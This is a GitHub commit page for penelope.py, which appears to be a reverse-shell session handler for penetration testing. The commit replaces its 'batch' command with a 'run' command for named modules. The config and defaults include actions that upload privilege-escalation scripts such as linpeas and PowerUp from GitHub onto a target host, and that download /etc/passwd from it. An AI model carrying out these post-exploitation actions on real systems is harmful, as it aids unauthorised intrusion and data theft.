Skip to content

Commit

Permalink
Deprecate batch command
Browse files Browse the repository at this point in the history
Introduce run command
Fix an exception when terminating a Listener
  • Loading branch information
brightio committed May 8, 2022
1 parent 69bced3 commit 42a37a2
Show file tree
Hide file tree
Showing 2 changed files with 67 additions and 35 deletions.
38 changes: 25 additions & 13 deletions extras/penelope.conf
Original file line number Diff line number Diff line change
@@ -1,18 +1,30 @@
# Penelope options
[options]
batch = {
'Unix':[
'maintain 3', # maintain 3 active sessions
'download /etc/issue /etc/passwd',
'upload https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh',
'upload https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh',
'upload https://raw.githubusercontent.com/stealthcopter/deepce/main/deepce.sh'
],
'Windows':[
'upload https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1',
'upload https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1'
]}

modules = {
'upload_privesc_scripts':{
'description':'Upload privilege escalation scripts to the target',
'actions':{
'Unix':[
'upload https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh',
'upload https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh'
],
'Windows':[
'upload https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'
]
}
},
'new_custom_module':{
'description':'This is an example new module',
'actions':{
'Unix':[
'maintain 3', # maintain 3 active sessions
'download /etc/issue /etc/passwd'
],
'Windows':[
]
}
}
}
# All options that are appeared with the SET menu command can be overriden here. Some examples:
#no_log = True # Do not create session log files. -> Default: False
#escape = {'sequence':b'~', 'key':'~'} # Use tilde for escaping PTY -> Default: {'sequence':b'\x1b[24~', 'key':'F12'}
Expand Down
64 changes: 42 additions & 22 deletions penelope.py
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ def __init__(self):
super().__init__()
self.set_id(None)
self.commands = {
"Session Operations":['batch', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade'],
"Session Operations":['run', 'upload', 'download', 'open', 'maintain', 'spawn', 'upgrade'],
"Session Management":['sessions', 'use', 'interact', 'kill', 'dir|.'],
"Shell Management" :['listeners', 'connect', 'hints', 'Interfaces'],
"Miscellaneous" :['help', 'history', 'reset', 'SET', 'DEBUG', 'exit|quit|q|Ctrl+D']
Expand Down Expand Up @@ -368,13 +368,19 @@ def do_upload(self, local_globs):
cmdlogger.warning("No files or directories specified")

@session(current=True)
def do_batch(self, line):
def do_run(self, module):
"""
Execute a predefined set of Main Menu commands on the target. Run 'SET batch' to view them
[module name]
Run a module. Without module name it lists all modules
"""

self.cmdqueue.extend(options.batch[core.sessions[self.sid].OS])
if module:
self.cmdqueue.extend(options.modules[module]['actions'][core.sessions[self.sid].OS])
else:
table = Table(joinchar=' <-> ')
table.header = [paint('NAME', 'cyan'), paint('DESCRIPTION', 'cyan')]
for name, info in options.modules.items():
table += [paint(name, 'red'), info['description']]
print("\n", table, "\n", sep="")

@session(current=True)
def do_spawn(self, line):
Expand Down Expand Up @@ -626,10 +632,10 @@ def do_SET(self, line):
"""
if not line:
rows = [ [paint(param, 'cyan'), paint(repr(getattr(options, param)), 'yellow')]
for param in options.__dict__ if param != 'batch' ]
for param in options.__dict__ if param != 'modules' ]
table = Table(rows, fillchar=[paint('.', 'green'), 0], joinchar=' => ')
print(table)
print(f"{paint('batch', 'cyan')}\n{paint(json.dumps(getattr(options, 'batch'), indent=4), 'yellow')}")
print(f"{paint('modules', 'cyan')}\n{paint(json.dumps(getattr(options, 'modules'), indent=4), 'yellow')}")
else:
try:
args = line.split(" ", 1)
Expand Down Expand Up @@ -657,6 +663,8 @@ def default(self, line):
return self.onecmd('exit')
elif line == '.':
return self.onecmd('dir')
elif line in ('recon', 'batch'):
logger.warning("This command is deprecated. Check 'run' command")
else:
parts = line.split()
candidates = [command for command in self.raw_commands if command.startswith(parts[0])]
Expand Down Expand Up @@ -699,6 +707,10 @@ def complete_interact(self, text, line, begidx, endidx):
def complete_kill(self, text, line, begidx, endidx):
return self.sessions(text, "*")

def complete_run(self, text, line, begidx, endidx):
return [module for module in options.modules if module.startswith(text)]


class ControlQueue:
def __init__(self):
self.queue = multiprocessing.SimpleQueue()
Expand Down Expand Up @@ -787,12 +799,17 @@ def loop(self):

# The listeners
elif readable.__class__ is Listener:
socket, endpoint = readable.socket.accept()
thread_name = f"IncomingConnection-{endpoint}"
logger.debug(f"New thread: {thread_name}")
threading.Thread(target=Session, args=(socket,*endpoint,readable),

try:
socket, endpoint = readable.socket.accept()
thread_name = f"IncomingConnection-{endpoint}"
logger.debug(f"New thread: {thread_name}")
threading.Thread(target=Session, args=(socket,*endpoint,readable),
name=thread_name).start()

except OSError:
logger.debug(f"{readable} socket is terminated")

# STDIN
elif readable is sys.stdin:
if self.attached_session:
Expand Down Expand Up @@ -948,8 +965,6 @@ def __init__(self, host=None, port=None):

return

# self.socket = None

def __str__(self):
return f"Listener({self.host}:{self.port})"

Expand Down Expand Up @@ -2014,14 +2029,19 @@ def __init__(self):
self.cmd_histfile = 'cmd_history'
self.debug_histfile = 'cmd_debug_history'
self.useragent = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0"
self.batch = {
'Unix':[
'upload https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh',
'upload https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh'
],
'Windows':[
'upload https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'
]
self.modules = {
'upload_privesc_scripts':{
'description':'Upload privilege escalation scripts to the target',
'actions':{
'Unix':[
'upload https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh',
'upload https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh'
],
'Windows':[
'upload https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'
]
}
}
}
self.configfile = self.basedir / 'penelope.conf'

Expand Down

0 comments on commit 42a37a2

Please sign in to comment.